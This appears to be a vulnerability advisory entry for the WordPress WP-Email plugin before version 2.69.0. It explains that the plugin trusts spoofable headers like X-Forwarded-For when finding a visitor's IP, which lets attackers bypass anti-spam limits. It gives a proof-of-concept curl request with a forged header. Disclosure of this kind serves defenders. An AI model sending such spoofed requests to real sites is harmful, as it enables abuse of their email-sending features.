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wpexploitDaniel RufWPEX-ID:A5940D0B-6B88-4418-87E2-02C0897BC2F1
HistoryMay 30, 2022 - 12:00 a.m.

WP-Email < 2.69.0 - Anti-Spam Protection Bypass via IP Spoofing

2022-05-3000:00:00
Daniel Ruf
71

0.001 Low

EPSS

Percentile

33.9%

The plugin prioritizes getting a visitor’s IP from certain HTTP headers over PHP’s REMOTE_ADDR, which makes it possible to bypass IP-based anti-spamming restrictions.

Set HTTP_CLIENT_IP, HTTP_X_FORWARDED_FOR or any of the other headers used in get_ipaddress().

curl 'http://vulnerable-site.tld/wp-admin/admin-ajax.php' -X POST -H 'X-Forwarded-For: 127.0.0.1' --data-raw 'action=email&yourname=admin&[email protected]&yourremarks=asdasd&friendname=Igor Popov&[email protected]&imageverify=ME5RJ&p=177&wp-email_nonce=646bfc1f45'

0.001 Low

EPSS

Percentile

33.9%

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